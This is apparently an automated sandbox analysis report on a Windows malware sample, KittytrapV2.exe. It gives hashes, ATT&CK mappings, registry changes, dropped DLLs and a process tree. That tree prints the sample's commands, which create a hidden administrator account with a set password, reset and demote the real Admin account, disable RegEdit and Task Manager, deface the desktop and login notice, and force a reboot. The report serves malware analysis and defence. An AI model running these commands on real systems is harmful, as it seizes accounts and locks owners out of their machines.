3a3e102e83a8554af3fbd990d09e6fe87d143126c4cc7352264e3e28edc50592

Analysis

user interaction
yes
max time kernel
134s
max time network
139s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
02/08/2026, 01:57

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

Reason

Machine shutdown

General

Target
KittytrapV2.exe
Size 71.1MB
Sample260802-cdnm7asbje
SHA256 3a3e102e83a8554af3fbd990d09e6fe87d143126c4cc7352264e3e28edc50592
MD5 c724f6341fbb894f71bc1c599689d734
SHA1 317aaae4dfc49e9336454a899c217ac8261ecd74
SHA512 78f8811eb39bd7e489db1034c9c0582d2065015ba644cd6baa9478eec369a42632eb27aefee14ab80c352ac9554aae2a7da90cac113eff87ed94800a8ddfa3c9
SSDEEP 393216:F5W2o6XzTPy9SkozPWTkvgejY6dnP51ArW/U8tp/lxTp7al8Q6OH0XrvX2MCMZoV:eWyiz+TkvgKpn/jzVROH0zX23Gslgk
TLSH
T13BF7AE15A7D8471AD63FC27CC5638112E6F1B86213A1D6CF8854EE8D3FA3BC16736262
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

defense_evasion discovery execution persistence ransomware

Malware Config

Signatures

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	KittytrapV2.exe

Disables Task Manager via registry modification
defense_evasion

Loads dropped DLL 29 IoCs

pid	Process
4868	KittytrapV2.exe
4868	KittytrapV2.exe
4868	KittytrapV2.exe
4868	KittytrapV2.exe
4868	KittytrapV2.exe
4868	KittytrapV2.exe
4868	KittytrapV2.exe
4868	KittytrapV2.exe
4868	KittytrapV2.exe
4868	KittytrapV2.exe
4868	KittytrapV2.exe
4868	KittytrapV2.exe
4868	KittytrapV2.exe
4868	KittytrapV2.exe
4868	KittytrapV2.exe
4868	KittytrapV2.exe
4868	KittytrapV2.exe
4868	KittytrapV2.exe
4868	KittytrapV2.exe
4868	KittytrapV2.exe
4868	KittytrapV2.exe
4868	KittytrapV2.exe
4868	KittytrapV2.exe
4868	KittytrapV2.exe
4868	KittytrapV2.exe
4868	KittytrapV2.exe
4868	KittytrapV2.exe
4868	KittytrapV2.exe
4868	KittytrapV2.exe

Modifies visibility of existing users in the login screen 1 TTPs 1 IoCs

A user account was hidden or made visible on the Windows login screen through a registry modification.

defense_evasion

Hidden Users

T1564.002

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList\Admin = "1"	KittytrapV2.exe

Modifies WinLogon 2 TTPs 4 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList\Admin = "1"	KittytrapV2.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\HideFastUserSwitching = "0"	KittytrapV2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList	KittytrapV2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts	KittytrapV2.exe

Creates a new local user account 1 TTPs 2 IoCs

Uses net.exe to create a new local user account, often for persistence or a backdoor account.

persistence

Local Account

T1136.001

pid	Process
1792	net.exe
5724	net1.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000\Control Panel\Desktop\Wallpaper = "C:\\KittyImages\\wall.jpg"	KittytrapV2.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1992	powershell.exe

Executes a command shell one-liner 1 TTPs 9 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4860	cmd.exe
1084	cmd.exe
2860	cmd.exe
2460	cmd.exe
3952	cmd.exe
4320	cmd.exe
5628	cmd.exe
4620	cmd.exe
4368	cmd.exe

Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

Modifies Control Panel 2 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000\Control Panel\Desktop\WallpaperStyle = "2"	KittytrapV2.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000\Control Panel\Desktop\TileWallpaper = "0"	KittytrapV2.exe

Modifies data under HKEY_USERS 7 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0"	LogonUI.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Control Panel\Desktop\Wallpaper = "C:\\KittyImages\\wall.jpg"	KittytrapV2.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Control Panel\Desktop\WallpaperStyle = "2"	KittytrapV2.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Control Panel\Desktop\TileWallpaper = "0"	KittytrapV2.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent	LogonUI.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = 99ebff004cc2ff000091f8000078d4000067c000003e9200001a6800f7630c00	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History	LogonUI.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1992	powershell.exe
1992	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1992	powershell.exe
Token: SeShutdownPrivilege	704	shutdown.exe
Token: SeRemoteShutdownPrivilege	704	shutdown.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4248	LogonUI.exe

Suspicious use of WriteProcessMemory 27 IoCs

description	pid	Process	procid_target
PID 4868 wrote to memory of 1992	4868	KittytrapV2.exe	90
PID 4868 wrote to memory of 4620	4868	KittytrapV2.exe	92
PID 4620 wrote to memory of 1792	4620	cmd.exe	94
PID 1792 wrote to memory of 5724	1792	net.exe	95
PID 4868 wrote to memory of 4368	4868	KittytrapV2.exe	96
PID 4368 wrote to memory of 4184	4368	cmd.exe	98
PID 4184 wrote to memory of 4892	4184	net.exe	99
PID 4868 wrote to memory of 3952	4868	KittytrapV2.exe	100
PID 3952 wrote to memory of 4856	3952	cmd.exe	102
PID 4856 wrote to memory of 4840	4856	net.exe	103
PID 4868 wrote to memory of 4860	4868	KittytrapV2.exe	104
PID 4860 wrote to memory of 3408	4860	cmd.exe	106
PID 3408 wrote to memory of 4432	3408	net.exe	107
PID 4868 wrote to memory of 1084	4868	KittytrapV2.exe	108
PID 1084 wrote to memory of 3804	1084	cmd.exe	110
PID 3804 wrote to memory of 716	3804	net.exe	111
PID 4868 wrote to memory of 2860	4868	KittytrapV2.exe	112
PID 2860 wrote to memory of 2788	2860	cmd.exe	114
PID 2788 wrote to memory of 3084	2788	net.exe	115
PID 4868 wrote to memory of 4320	4868	KittytrapV2.exe	116
PID 4320 wrote to memory of 3904	4320	cmd.exe	118
PID 3904 wrote to memory of 5344	3904	net.exe	119
PID 4868 wrote to memory of 5628	4868	KittytrapV2.exe	120
PID 5628 wrote to memory of 3644	5628	cmd.exe	122
PID 3644 wrote to memory of 2584	3644	net.exe	123
PID 4868 wrote to memory of 2460	4868	KittytrapV2.exe	125
PID 2460 wrote to memory of 704	2460	cmd.exe	127

System policy modification 1 TTPs 5 IoCs

defense_evasion

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Wallpaper = "C:\\KittyImages\\wall.jpg"	KittytrapV2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\WallpaperStyle = "2"	KittytrapV2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\legalnoticecaption = "FEMDOM LOSER"	KittytrapV2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\legalnoticetext = "really? click on this?? ;3 ur pass 123"	KittytrapV2.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\dontdisplaylastusername = "0"	KittytrapV2.exe

C:\Users\Admin\AppData\Local\Temp\KittytrapV2.exe
"C:\Users\Admin\AppData\Local\Temp\KittytrapV2.exe"
1⤵
- Disables RegEdit via registry modification
- Loads dropped DLL
- Modifies visibility of existing users in the login screen
- Modifies WinLogon
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies data under HKEY_USERS
- Suspicious use of WriteProcessMemory
- System policy modification
PID:4868
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -Command " Add-Type -AssemblyName System.Drawing $bmp = New-Object System.Drawing.Bitmap(1920,1080) $g = [System.Drawing.Graphics]::FromImage($bmp) $g.Clear([System.Drawing.Color]::Black) $font = New-Object System.Drawing.Font('Arial', 48, [System.Drawing.FontStyle]::Bold) $brush = New-Object System.Drawing.SolidBrush([System.Drawing.Color]::HotPink) $g.DrawString('KITTY WALL', $font, $brush, 650, 480) $bmp.Save('C:\KittyImages\wall.jpg') "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1992
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net user KittyOwner /add
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4620
- - C:\Windows\system32\net.exe
    net user KittyOwner /add
    3⤵
    - Creates a new local user account
    - Suspicious use of WriteProcessMemory
    PID:1792
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user KittyOwner /add
      4⤵
      Creates a new local user account
      PID:5724
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net user KittyOwner FhfbCKvEdz09RtaJ
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4368
- - C:\Windows\system32\net.exe
    net user KittyOwner FhfbCKvEdz09RtaJ
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4184
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user KittyOwner FhfbCKvEdz09RtaJ
      4⤵
      PID:4892
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net localgroup "Administrators" KittyOwner /add
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3952
- - C:\Windows\system32\net.exe
    net localgroup "Administrators" KittyOwner /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4856
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup "Administrators" KittyOwner /add
      4⤵
      PID:4840
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net user "Admin" 123
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4860
- - C:\Windows\system32\net.exe
    net user "Admin" 123
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3408
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "Admin" 123
      4⤵
      PID:4432
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net user "Admin" /passwordchg:yes /expires:never
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1084
- - C:\Windows\system32\net.exe
    net user "Admin" /passwordchg:yes /expires:never
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3804
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "Admin" /passwordchg:yes /expires:never
      4⤵
      PID:716
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net user "Admin" /active:yes
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2860
- - C:\Windows\system32\net.exe
    net user "Admin" /active:yes
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2788
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "Admin" /active:yes
      4⤵
      PID:3084
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net localgroup "Administrators" "Admin" /delete
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4320
- - C:\Windows\system32\net.exe
    net localgroup "Administrators" "Admin" /delete
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3904
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup "Administrators" "Admin" /delete
      4⤵
      PID:5344
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net localgroup "Users" "Admin" /add
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5628
- - C:\Windows\system32\net.exe
    net localgroup "Users" "Admin" /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3644
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup "Users" "Admin" /add
      4⤵
      PID:2584
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c shutdown /r /t 0 /f
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2460
- - C:\Windows\system32\shutdown.exe
    shutdown /r /t 0 /f
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:704

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa3a32855 /state1:0x41c64e6d
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:4248

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:3000

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k CameraMonitor
1⤵
PID:4876

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Create Account

T1136

Local Account

T1136.001

Privilege Escalation

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Defense Evasion

Hide Artifacts

T1564

Hidden Users

T1564.002

Modify Registry

T1112

Credential Access

Discovery

Permission Groups Discovery

T1069

Local Groups

T1069.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

T1491

Replay Monitor

Loading Replay Monitor...

Downloads

Kittytrap.dll

Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV2\ncDSn3JjDbNW\Kittytrap.dll
Size 564KB
SHA256 fb2503af4bb523f67c33c56e3b7309ab21898afd872d042e8edf26209189da38
MD5 85cc3d917b8fe8a8651d394933f7909d
SHA1 197baed780defc67de3ca53bf9ae1d5ec2750ebf
SHA512 4da96f1055316865adb35ad5b32d5727e7f5e4a264adcd1677718a5162ad1b7276f436144fcd2086c403aa1b7b2b7738887d6153f6f597e905111d9c06a6fb96
SSDEEP 12288:aFQGbRokYoDLxzzeQ/9G6xD0ohL6C3m6Sn0SACdBV9rWMlXdL:ayGbRokYoDLxzze
TLSH
T123C4CBD15F4086ACE7A127B42CF054C055EE793EE1F8A599EC11AFAFFCA934560403BA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Microsoft.Win32.Registry.dll

Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV2\ncDSn3JjDbNW\Microsoft.Win32.Registry.dll
Size 114KB
SHA256 31f5a1cb2046a26c7be2e3a0a18770d8445f0c9d7213ed7365a8403fcca77ab5
MD5 4aac66cd0c4ace7cffcd3773243b0803
SHA1 c525964d67dd354d5220b8293a62bfb45b410801
SHA512 d536ee1e36e424294a9110c384d6e9a55f5fcd7bb75882cfaeee34cd4a20865949cfdf356d1521312a705ac4c88ba4e3026910dcf1e0cd69d7be0eb7d86d4339
SSDEEP 3072:E8Qwrfx6bAYMteaJSvEdy7IViadv5uatHi+Thi:BJVteaJSvEdE8RI+TU
TLSH
T188B36B20BBC4410FEA7E41B89C734846E232F5A65741ABDF4695C0DD2FA3BC6F632562
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

System.Collections.Concurrent.dll

Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV2\ncDSn3JjDbNW\System.Collections.Concurrent.dll
Size 198KB
SHA256 2c2ebaea56462b348a598056f158627c14e5ee581062d780ab9ccdf2b6c695c9
MD5 28a08664cb5838b19dc2e0c52707dc42
SHA1 93f4c927a701db291f0fa5befe75662c66512e03
SHA512 a390df258b760f4c73782550f243c9ccaded7058a25d293cffb279eacdda2ede4d8228d1d467d7a4133eb2c83bfff3624ed997f73a631eea81b301afb49f5d98
SSDEEP 3072:ENXh2hKxy5SZDZpWVH57LqVJ76qINhymYQraEN7Azg902iANcPKgq2AEQ:Kh2Sy5kU276qGc2cKT2Ar
TLSH
T1E4147C26638C031FE9AFC93A95A745B1E33399571316C2CF10E9A5481EA77C17EBE123
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

System.Collections.NonGeneric.dll

Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV2\ncDSn3JjDbNW\System.Collections.NonGeneric.dll
Size 102KB
SHA256 f86617cb33a02d52fb7b7102062b1f692d98067172c8e012cdfd5486b50e9496
MD5 8f69ffbc724d089b70558cb5e899eddf
SHA1 99f2b2adde4305681c1f448a6dc2eac1c1654366
SHA512 4ffa3ad4c34795266f3d9fbe0e3f4ba6b5603e7f402f8d81e52f1cdf2bafc89f22e2cef6007cedbd607cdcd98f11bebc0e769525d7792a61041ac0161805ac4d
SSDEEP 1536:3Df2toofN5YHiqJ3+IOj4mwsxmDagF79Jj51RlLHLFzbEDyRtYRzu:3StoofyVJ3+Hwskm0LRljLFz2e06
TLSH
T15BA33829739C0722CAAA62BCD1978546E270F5E36702D6DF1408988E1FA7BC5C7F3167
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

System.Collections.Specialized.dll

Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV2\ncDSn3JjDbNW\System.Collections.Specialized.dll
Size 102KB
SHA256 8ab70b670a55bde26b549aeb95c767c14b79dcfaf6f075096d9c0e84a5eae904
MD5 7875f71cc3e7b5d651646717cb17218b
SHA1 40e6d9857bcbd751f1b83389edbe987e3c57f55d
SHA512 ef6660132e5c264471a7786e9cc2ac5a06fa6c69cc6aba388215d7f2f733378af9f7b5eee7ec288d1878989054288879e5ce302272aab3f74865e292a406bed9
SSDEEP 1536:iDsipcR0Eo1u7oNfE3A0Jivc9EywNSeNY8DYrLXzPGFzR:iHpcRKggMtTeNY8DYrLXCFF
TLSH
T1F0A3392873888B25CB3E82FCD5A38A42E770F1D31352E6CF194AD5496E977C0867616F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

System.Collections.dll

Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV2\ncDSn3JjDbNW\System.Collections.dll
Size 290KB
SHA256 11de530ddce2c99a0be5fcefa0e040062860cd41824834f42e06761a949af957
MD5 75c00f6f6113d35e475b9a1ec166186b
SHA1 ffb8a304155d9c13f58d5cc18c4a7aeceb51701d
SHA512 9234b7521192c44471416d61a2c31b4fc12bb54d36d2ab1d91fc1d4ad02466b7c88e22164264464b4d930592907eb3b8db71ba8c43a88ca57a6a8acd758e2669
SSDEEP 6144:rtH48sjvCSCDLEFCL8ph2wqXh0PRbHkbtXcD:rrUvCS8qCL9wqx2bHkbtC
TLSH
T1CC54392873CC2711FDBE41BAE693C042E3799152435082EB46BDF6519F9BFC12ABB025
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

System.ComponentModel.Primitives.dll

Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV2\ncDSn3JjDbNW\System.ComponentModel.Primitives.dll
Size 78KB
SHA256 85485dd7639c9449b7d90e305e66612bcd46d14bfb2c216eb6b5c1572ddec1c4
MD5 75f0a60be7fd71384940695df296fb95
SHA1 c4abd4a812e95893945c7c5f1806193678fa7cff
SHA512 c174437cd631eb157eaffc46e93a0f76644a90aa6d6175a372fba08f389bb101ed384cbaecbd7b355eda4bf93e39a7422188c8c9311346faa0a173c5bfc8671c
SSDEEP 1536:e5a9l7Z7h4qjUzMJVLvrYu2nCXK5tZgpcBzd:e+l7Z7h4BIrLvr52CXKOgh
TLSH
T151733A1813E8431AEAAD567C96B399109574F5971313D9CF85E0DA0E2F8F7C2F231A2A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

System.Diagnostics.DiagnosticSource.dll

Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV2\ncDSn3JjDbNW\System.Diagnostics.DiagnosticSource.dll
Size 490KB
SHA256 44d30feb5d82c38553d63ce8b7890f0433483d17017f311de04131d68d4ff8d6
MD5 cbcf75fda50c38694d295e6bd0556b23
SHA1 fd7b9c62dae436a5c1b7ae6c8dc22eeb7175f366
SHA512 1c3a9adef5911eb44659e224922cc7fd14ce8588d8e78bf9fda8493a153175f9e40a912792e5abb75d0829b1a9653c2391f3fd3e3debe2f98629ef5960cac9b0
SSDEEP 6144:IclJ47CNjJ3c8vmDqk0fx1TMg7BbJKA8BRg9LxzuZRhUtv7gHudr:H4eNF3tvmW7TMAbJABRRKEOd
TLSH
T18BB46C1A63D84F11DA6EAE7DC2534802C3F2B6426B54D7DB8445DE9A1F63FC0BE36221
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

System.Diagnostics.Process.dll

Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV2\ncDSn3JjDbNW\System.Diagnostics.Process.dll
Size 322KB
SHA256 786e7825067b48fd2cb9e10b1c971f547a0e83814a1a9b7951b8b64ca1e0b808
MD5 2930cf2c21066ff277510b83d2d3de06
SHA1 cadbccd74d06c4689b083fb0f7de46c8e703f8b6
SHA512 521a6add5987e7b91e95a1ed0a9e3648d5a1ecacb63615e8459cdc2ce01a9176264190a58d95e2e05aed83ad163964665363d32f0943b7d55d5a57a711f4ac98
SSDEEP 6144:uaTnBsJOyjlS+LeRqWwxov9jb3bG1PjdlfOGiHn4LFh:uarBAOyjYqeROxhFIHn4Zh
TLSH
T1DF648E24AB88850DFBAD82788463C402E1BDB443378DD7DB4A54DD992F7B7C6A7311B2
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

System.Memory.dll

Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV2\ncDSn3JjDbNW\System.Memory.dll
Size 158KB
SHA256 a8e1263bfb450d029562302f3784fd91106d8c67f28008a5104faf91503bba3e
MD5 7f3359b8377b530459f45160d7fe87a5
SHA1 3db9da69f5f819e64678385321cfe55ffd8c72ee
SHA512 2068fd6f756ebb6c32816cf35fb0eab482d20a8c9ef022bf15a0b335e97a9981b921b0e948900c8d5fd657021496906bcb3e5514bfbeb845dffe5780f1c00bb4
SSDEEP 3072:Yabfv1/38goVRXZ1isc8JyyKhpwaGrpXki4T/hSGd:Bd383by3vwaGraiw5SE
TLSH
T16DF35A1BD3980257DA2FD6BA8796C202EF336001D711A1CB48D4DA44AF53BE1BF76936
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

System.Net.Http.dll

Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV2\ncDSn3JjDbNW\System.Net.Http.dll
Size 1.7MB
SHA256 d19df85033d5a0d390432f0a7c9158bec97a5b7ce1cdc62b4f42dea81eab9911
MD5 c47e0b857ecd6ea73fee73cb9f687ab0
SHA1 890475a836c988e47cec83d3ff0dd88c0fb00948
SHA512 a02ec1cd33e80bf24b04c8f5997d02844a59feb0006b45c2a044d7414d268a8f54bccb04786539b5109ed68361aa84123baf5eaaf9e703d9ffc61172f3c845ee
SSDEEP 24576:F8efA0MSgHQPYnTj/Zc4chHtNFKH+yEBSjYQomtjRZodYTYYMX:PRPYnTTMhHRmtFIYo
TLSH
T1CC858C12A3DE8313DA6FC6B985E28615C6B2B59A3711D6CF1404DD8C2F533C1ABB3267
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

System.Net.NameResolution.dll

Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV2\ncDSn3JjDbNW\System.Net.NameResolution.dll
Size 122KB
SHA256 1195e6cb29f96ca9d6bfcaad1c8f5c5943c7431caa0e19152931a49255a313a5
MD5 9e80f892536735de6c0081c3aae578b3
SHA1 46cbe48c8b5ca269b87979bc5c81eef5f7058e94
SHA512 bf7f6f67e0dd54795e96931ac95046e2fc28acd800903f4c0f16617557cc460922e3b72889782cdeb626f871f7b04d812374635547f3fce4df4bed0bb6775dac
SSDEEP 1536:TdMfjJDyB8j7eH/ZrK1PeaBWKCb6/wfey63+U/FSfPYj7hgzV:TWf1DfeRG1maQKC+/6eyjcFS8gJ
TLSH
T185C36A10F3984715DB6E4939A6538D46E2B7E2922701EEFF15CC894D3FA3BE0B631621
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

System.Net.Primitives.dll

Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV2\ncDSn3JjDbNW\System.Net.Primitives.dll
Size 206KB
SHA256 92639fa57d6ea7bbcbd47f5d108a615cafc75929f5dddda25ceae33db60e959c
MD5 d679d13e700b0f8645e2de5d1a7519f0
SHA1 53d2015142d1b9fa7cbcb6dd1841c569a9eda42a
SHA512 0a2d98055897102b68264c3f4e3b5733055a10507225f6c6126accad66d2873b1db9d0b0c19ca03b4c4fdf6d1395a8c86c7df22706c14f1ef9e7b963a629d4dc
SSDEEP 6144:i0yf5VGYBigOpZAcus4Uzz3KGY+jXHJK8:a1Bp+es5f3KGY83JK8
TLSH
T18A245B29638C460BF76F85788B13CA06E373B5425306D6DB1AA499C47FA37C4BF72192
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

System.Net.Requests.dll

Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV2\ncDSn3JjDbNW\System.Net.Requests.dll
Size 366KB
SHA256 7277099c9780debcd6c64e227db064245768833918ecbc5b9a816e1b78ac2b17
MD5 ba9e79dda6ff2b05443bf8ffce9a1e7c
SHA1 0fb98262f23b566ade6c4590372099f8e8c4f933
SHA512 dc8298d4bb172191f43d923c591c4fadce1913c769bbfafc4d8d8bb6e40af5c389cf238dfc76f0bbb5b3b532f653ada675a773a80f666c4856a0a73dd2f5f9a5
SSDEEP 6144:/TzRZdq9iw/Yh2HtgPEEANdDks7pkRngcZ+hBQwa:/TzfqwgGMEA3yRBZ+hSx
TLSH
T139845C2CE7E4561ADB2A96B8C2138211E173928713D1D6CF4818F98D5FAF3C19BB1367
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

System.Net.Security.dll

Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV2\ncDSn3JjDbNW\System.Net.Security.dll
Size 650KB
SHA256 0550c9d893ce86033569514d04f54eb6cb17974a2e201d091208158f57c0dc73
MD5 3a6b0ccf7d7f8f9eed9c62386f149852
SHA1 4036538bb31c3d09022141997933728153c39d5d
SHA512 e29e069e3cf3faaa253932f4c151c3144d230ebdd45a8ecf5687324c9572c1f56b4c8cdcea5d32f257e6d58e1cf90f52a744821b99e37703622df4f266b67642
SSDEEP 12288:v3pWX+BbkAi7Lic1ASRnqmvfq1e8pAgqrRVtfh1iAb:v3kaS3Pn9STwDhwI
TLSH
T182E46C10A3D40B29E6EF973885724431D2B5AD87AB11D6CF5144C89D2FA3FC2A73A367
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

System.Net.Sockets.dll

Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV2\ncDSn3JjDbNW\System.Net.Sockets.dll
Size 518KB
SHA256 e819f4accc4db69beea71884e843149b6d2a27b6404a45523ba71183e259c719
MD5 b135cf672568f461874cd98a64514bf8
SHA1 7e581a448e110a6906c7b236c98e4d7fc2b5063a
SHA512 14ebb55c2c3dd29c713a0b5ed29e1e6195cb0d4f2f9191cfb77e64ba9f431221ea3ddd05e8ac50633bf483aee1c6f2ba2bd7437bfb9abe832741c3f366434d2a
SSDEEP 6144:RYXxzB5F3CrpdFepVvd5f8cfkA4emSuPvL5XdSs4f+uoJMKhN1T7RxRSeIxnrZIn:6FSdC3D8TxdyeJMKhNWZITHpKHO
TLSH
T10DB46B2667D40F02E22EC6BCD4570942D3F1E5961781E6CBC054DDEA2F93BC6A6723A3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

System.Net.WebClient.dll

Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV2\ncDSn3JjDbNW\System.Net.WebClient.dll
Size 162KB
SHA256 2345c292d96ae776812dc8865148efcf57b45d280097767417fa39695fc11a4b
MD5 c1af4b4ad1609ad3873f153b1493d571
